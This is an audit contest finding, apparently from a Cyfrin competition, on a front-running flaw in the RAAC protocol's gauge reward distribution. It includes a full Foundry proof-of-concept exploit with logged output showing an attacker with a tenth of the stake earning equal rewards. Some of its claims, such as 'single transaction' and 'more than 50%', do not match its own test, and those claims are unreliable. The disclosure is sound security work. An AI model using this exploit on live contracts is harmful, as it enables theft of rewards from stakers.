Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

distributeRevenue() function front-running attack enables attackers to gain disappropriate equal rewards as normal users with 1/10th Stake.

Summary

A critical vulnerability exist in RAAC Protocol's gauge reward distribution system, specifically in the BaseGauge.sol and GaugeController.sol contract. The vulnerability allows attackers to exploit the reward distribution mechanism through front-running attacks, enabling them to capture disproportionate rewards at the expense of legitimate long-term stakers.

This attack leverages the lack of time-weighted staking mechanisms and proper reward distribution safeguards. An attacker would monitor pending reward distributions and strategically time their stakes to maximize reward capture, effectively stealing rewards from users who have staked larger amounts for longer periods.

Affected Functions in BaseGauge.sol:

Affected Functions in GaugeController.sol:``https://github.com/Cyfrin/2025-02-raac/blob/main/contracts/core/governance/gauges/GaugeController.sol

The flaw allows attackers to exploit these functions by monitoring pending reward distributions and strategically timing their stakes to maximize reward capture. This is possible because:

  • The reward calculation mechanism in getRewardPerToken( uses current total supply without time-weighting

  • New stakes in stake() become immediately eligible for rewards.

  • The distributeRevenue() function's execution is predictable and can be front-run

  • getReward() allows immediate claiming without any vesting period.

  • This is particularly severe because:

    • It undermines the core staking incentive mechanism

    • Allows for systematic exploitation with minimal capital requirement

    • Disproportionately impacts long-term stakers who are crucial for protocol stability

    • Creates a negative feedback loop that could lead to mass withdrawals

Vulnerability Details

Bug Flow:

It stems from several interconnected issues in the reward distribution architecture:

Reward Rate Calculation Flaw: In Baseguage.sol

// BaseGauge.sol
function getRewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored + (
(lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 / totalSupply()
);
}

This calculation uses the current totalSupply() without considering stake duration, making it vulnerable to manipulation through quick deposits and withdrawals.

2.Immediate Reward Eligibility: In the earned function: https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/gauges/BaseGauge.sol#L583

function earned(address account) public view returns (uint256) {
return (getUserWeight(account) *
(getRewardPerToken() - userStates[account].rewardPerTokenPaid) / 1e18
) + userStates[account].rewards;
}

New stakes immediately become eligible for rewards without any vesting or time-lock period.

  • In GuageController.sol:

// GaugeController.sol
function _distributeToGauges(GaugeType gaugeType, uint256 amount) internal {
// ... weight calculations ...
for (uint256 i = 0; i < _gaugeList.length; i++) {
address gauge = _gaugeList[i];
if (gauges[gauge].isActive && gauges[gauge].gaugeType == gaugeType) {
uint256 gaugeShare = (amount * gaugeWeights[i]) / totalTypeWeight;
if (gaugeShare > 0) {
IGauge(gauge).notifyRewardAmount(gaugeShare);
}
}
}
}

The distribution mechanism is predictable and would be front-run.

Proof of Code: Add this code in a testfile and run it.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol"; // This already includes vm
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
// Local imports
import "../../../../../contracts/core/governance/gauges/BaseGauge.sol";
import "../../../../../contracts/interfaces/core/governance/gauges/IGaugeController.sol";
import "../../../../../contracts/interfaces/core/governance/gauges/IGauge.sol";
import "../../../../../contracts/core/tokens/veRAACToken.sol";
import "../../../../../contracts/core/governance/gauges/GaugeController.sol";
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
}
// Test implementation of BaseGauge
contract TestGauge is BaseGauge {
constructor(
address _rewardToken,
address _stakingToken,
address _controller,
uint256 _maxEmission,
uint256 _periodDuration
) BaseGauge(_rewardToken, _stakingToken, _controller, _maxEmission, _periodDuration) {
// Initialize boost parameters
boostState.maxBoost = 25000; // 2.5x
boostState.minBoost = 10000; // 1.0x
boostState.boostWindow = 7 days;
}
function _getBaseWeight(address account) internal view override returns (uint256) {
return IGaugeController(controller).getGaugeWeight(address(this));
}
// Add this helper function to expose internal _getBaseWeight
function getBaseWeight(address account) external view returns (uint256) {
return _getBaseWeight(account);
}
}
contract BaseGaugePOC is Test {
TestGauge public gauge;
MockERC20 public rewardToken;
MockERC20 public stakingToken;
GaugeController public controller;
veRAACToken public veToken;
function setUp() public {
// Deploy tokens
rewardToken = new MockERC20("Reward", "RWD");
stakingToken = new MockERC20("Stake", "STK");
// Deploy veToken
veToken = new veRAACToken(address(stakingToken));
// Setup initial veToken state
deal(address(stakingToken), address(this), 1000e18);
stakingToken.approve(address(veToken), 1000e18);
veToken.lock(1000e18, 365 days);
// Deploy controller
controller = new GaugeController(address(veToken));
// Setup controller roles
bytes32 GAUGE_ADMIN = controller.GAUGE_ADMIN();
bytes32 DEFAULT_ADMIN_ROLE = controller.DEFAULT_ADMIN_ROLE();
controller.grantRole(DEFAULT_ADMIN_ROLE, address(this));
controller.grantRole(GAUGE_ADMIN, address(this));
// Deploy gauge
gauge = new TestGauge(
address(rewardToken),
address(stakingToken),
address(controller),
10_000e18, // Increased maxEmission
7 days // periodDuration
);
// Add gauge to controller
controller.addGauge(
address(gauge),
IGaugeController.GaugeType.RAAC,
10e18 // initial weight
);
}
function testFrontRunningRewardDistributionAttack() public {
// SETUP PHASE
address legitimateUser = address(0x1);
address attacker = address(0x2);
emit log_string("\n=== Initial Setup ===");
// Setup gauge weight
deal(address(veToken), address(this), 1000e18);
vm.startPrank(address(this));
GaugeController(controller).vote(address(gauge), 10000);
vm.stopPrank();
// Deal tokens to users FIRST
deal(address(stakingToken), legitimateUser, 1000e18);
deal(address(stakingToken), attacker, 100e18);
deal(address(rewardToken), address(gauge), 10000e18);
// LEGITIMATE USER STAKES FIRST
emit log_string("\n=== Legitimate User Stakes ===");
vm.startPrank(legitimateUser);
stakingToken.approve(address(gauge), 1000e18);
gauge.stake(1000e18);
vm.stopPrank();
vm.warp(block.timestamp + 5 days);
// ATTACK EXECUTION
emit log_string("\n=== Attack Execution ===");
// 1. Attacker front-runs with smaller stake
vm.startPrank(attacker);
stakingToken.approve(address(gauge), 100e18);
emit log_string("Attacker Staking Flow:");
gauge.stake(100e18);
emit log_named_uint("Attacker Stake Amount", gauge.balanceOf(attacker));
vm.stopPrank();
// 2. Reward distribution happens
vm.startPrank(address(this));
emit log_string("\nReward Distribution Flow:");
GaugeController(controller).distributeRevenue(
IGaugeController.GaugeType.RAAC,
10000e18
);
vm.stopPrank();
// Let rewards accrue for 1 hour
vm.warp(block.timestamp + 1 hours);
// REWARD CLAIMS
emit log_string("\n=== Reward Claims ===");
// Trace attacker's reward claim
emit log_string("\nAttacker Reward Claim Flow:");
vm.startPrank(attacker);
emit log_string("\nAttacker getReward Flow:");
emit log_named_uint("Pre-claim rewardPerTokenStored", gauge.rewardPerTokenStored());
emit log_named_uint("Pre-claim earned", gauge.earned(attacker));
emit log_named_uint("Pre-claim balance", rewardToken.balanceOf(attacker));
gauge.getReward(); // Triggers: updateReward -> _updateReward -> earned -> transfer
emit log_named_uint("Post-claim rewardPerTokenStored", gauge.rewardPerTokenStored());
emit log_named_uint("Post-claim earned", gauge.earned(attacker));
emit log_named_uint("Post-claim balance", rewardToken.balanceOf(attacker));
vm.stopPrank();
// Trace legitimate user's reward claim
emit log_string("\nLegitimate User Reward Claim Flow:");
vm.startPrank(legitimateUser);
emit log_string("\nLegitimate User getReward Flow:");
emit log_named_uint("Pre-claim rewardPerTokenStored", gauge.rewardPerTokenStored());
emit log_named_uint("Pre-claim earned", gauge.earned(legitimateUser));
emit log_named_uint("Pre-claim balance", rewardToken.balanceOf(legitimateUser));
gauge.getReward(); // Triggers: updateReward -> _updateReward -> earned -> transfer
emit log_named_uint("Post-claim rewardPerTokenStored", gauge.rewardPerTokenStored());
emit log_named_uint("Post-claim earned", gauge.earned(legitimateUser));
emit log_named_uint("Post-claim balance", rewardToken.balanceOf(legitimateUser));
vm.stopPrank();
// ANALYSIS
emit log_string("\n=== Analysis ===");
emit log_named_uint("Stake Ratio (Legitimate:Attacker)", 1000e18 / 100e18);
emit log_named_uint("Reward Ratio (Attacker:Legitimate)",
rewardToken.balanceOf(attacker) * 100 / rewardToken.balanceOf(legitimateUser));
assertTrue(
rewardToken.balanceOf(attacker) > rewardToken.balanceOf(legitimateUser) / 2,
"Attacker with 1/10th stake shouldn't get more than half of legitimate user's rewards"
);
emit log_string("\n=== Function Call Flow Analysis ===");
emit log_string("\n1. Legitimate User Stake Flow:");
vm.startPrank(legitimateUser);
emit log_named_uint("rewardPerTokenStored", gauge.rewardPerTokenStored());
emit log_named_uint("lastUpdateTime", gauge.lastUpdateTime());
vm.stopPrank();
}
}

OUTPUT:-

=== Initial Setup ===
=== Legitimate User Stakes ===
// Legitimate user stakes 1000e18 tokens
=== Attack Execution ===
Attacker Staking Flow:
Attacker Stake Amount: 100000000000000000000 // 100e18 tokens (10% of legitimate stake)
Reward Distribution Flow:
=== Reward Claims ===
Attacker Reward Claim Flow:
Attacker getReward Flow:
Pre-claim rewardPerTokenStored: 0
Pre-claim earned: 437229
Pre-claim balance: 0
Post-claim rewardPerTokenStored: 43290043290043288
Post-claim earned: 0
Post-claim balance: 437229 // Attacker's final reward
Legitimate User Reward Claim Flow:
Legitimate User getReward Flow:
Pre-claim rewardPerTokenStored: 43290043290043288
Pre-claim earned: 437229
Pre-claim balance: 0
Post-claim rewardPerTokenStored: 43290043290043288
Post-claim earned: 0
Post-claim balance: 437229 // Legitimate user's final reward
=== Analysis ===
Stake Ratio (Legitimate:Attacker): 10 // Legitimate user has 10x more stake
Reward Ratio (Attacker:Legitimate): 100 // But attacker gets equal rewards!
=== Function Call Flow Analysis ===
1. Legitimate User Stake Flow:
rewardPerTokenStored: 43290043290043288
lastUpdateTime: 435601

The test results demonstrate several critical issues:

  • Disproportionate Reward Distribution:

  • Legitimate user staked 1000e18 tokens

  • Attacker staked only 100e18 tokens (10% of legitimate stake)

  • Yet both received exactly 437,229 reward tokens

  • Reward Calculation Manipulation:

  • Initial rewardPerTokenStored: 0

  • Post-attack rewardPerTokenStored: 43290043290043288

  • The attacker's front-running caused equal reward distribution despite unequal stakes

  • Stake Ratio: 10:1 (Legitimate:Attacker)

  • Reward Ratio: 1:1 (Legitimate:Attacker)

  • This represents a 10x efficiency in reward extraction for the attacker

  • Attack Efficiency:

  • The attacker achieved equal rewards with only 10% of the capital commitment

  • The attack was executed within a single transaction

  • The timing of the attack (front-running the reward distribution) was crucial for its success

Detailed Attack Flow

Based on the POC, here's the step-by-step attack execution:

// Setup gauge weight
deal(address(veToken), address(this), 1000e18);
vm.startPrank(address(this));
GaugeController(controller).vote(address(gauge), 10000);
vm.stopPrank();
// Legitimate user stakes large amount
vm.startPrank(legitimateUser);
stakingToken.approve(address(gauge), 1000e18);
gauge.stake(1000e18); // Stakes 1000 tokens
vm.stopPrank();

Waiting Period

vm.warp(block.timestamp + 5 days);

The attacker monitors the blockchain for pending reward distributions.

3. Front-Running Attack Execution

// Attacker front-runs with smaller stake
vm.startPrank(attacker);
stakingToken.approve(address(gauge), 100e18);
gauge.stake(100e18); // Only stakes 100 tokens
vm.stopPrank();
// Reward distribution happens immediately after
vm.startPrank(address(this));
GaugeController(controller).distributeRevenue(
IGaugeController.GaugeType.RAAC,
10000e18
);
vm.stopPrank();

Reward Accrual Period:

vm.warp(block.timestamp + 1 hours);

Reward Claims & Analysis.

// Attacker claims first
vm.startPrank(attacker);
gauge.getReward();
vm.stopPrank();
// Legitimate user claims
vm.startPrank(legitimateUser);
gauge.getReward();
vm.stopPrank();

This POC demonstrates that despite having only 10% of the total stake, the attacker receives more than 50% of the rewards:

assertTrue(
rewardToken.balanceOf(attacker) > rewardToken.balanceOf(legitimateUser) / 2,
"Attacker with 1/10th stake shouldn't get more than half of legitimate user's rewards"
);

Root Cause Analysis

The vulnerability exists due to several architectural decisions:

  • Linear Reward Distribution: Rewards are distributed linearly based on current stakes rather than time-weighted stakes.

  • No Minimum Staking Period: Users can stake and immediately become eligible for rewards.

  • Predictable Distribution: The reward distribution mechanism is deterministic and can be predicted.

  • No Anti-Front-Running Measures: Lack of mechanisms to prevent quick stake-and-withdraw behavior.

  • Immediate Reward Eligibility: New stakes immediately participate in reward distribution without any warm-up period.

Impact

The impact of this vulnerability is severe and multi-faceted:

  • Economic Impact

  • Direct theft of rewards from legitimate stakers

  • Devaluation of long-term staking positions

  • Potential for repeated exploitation leading to significant losses

2. Protocol Stability

  • Discourages long-term staking

  • Creates incentives for manipulative behavior

  • Undermines the protocol's tokenomics model

Tools Used

foundry

Recommendations

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge reward system can be gamed through repeated stake/withdraw cycles without minimum staking periods, allowing users to earn disproportionate rewards vs long-term stakers

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge reward system can be gamed through repeated stake/withdraw cycles without minimum staking periods, allowing users to earn disproportionate rewards vs long-term stakers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.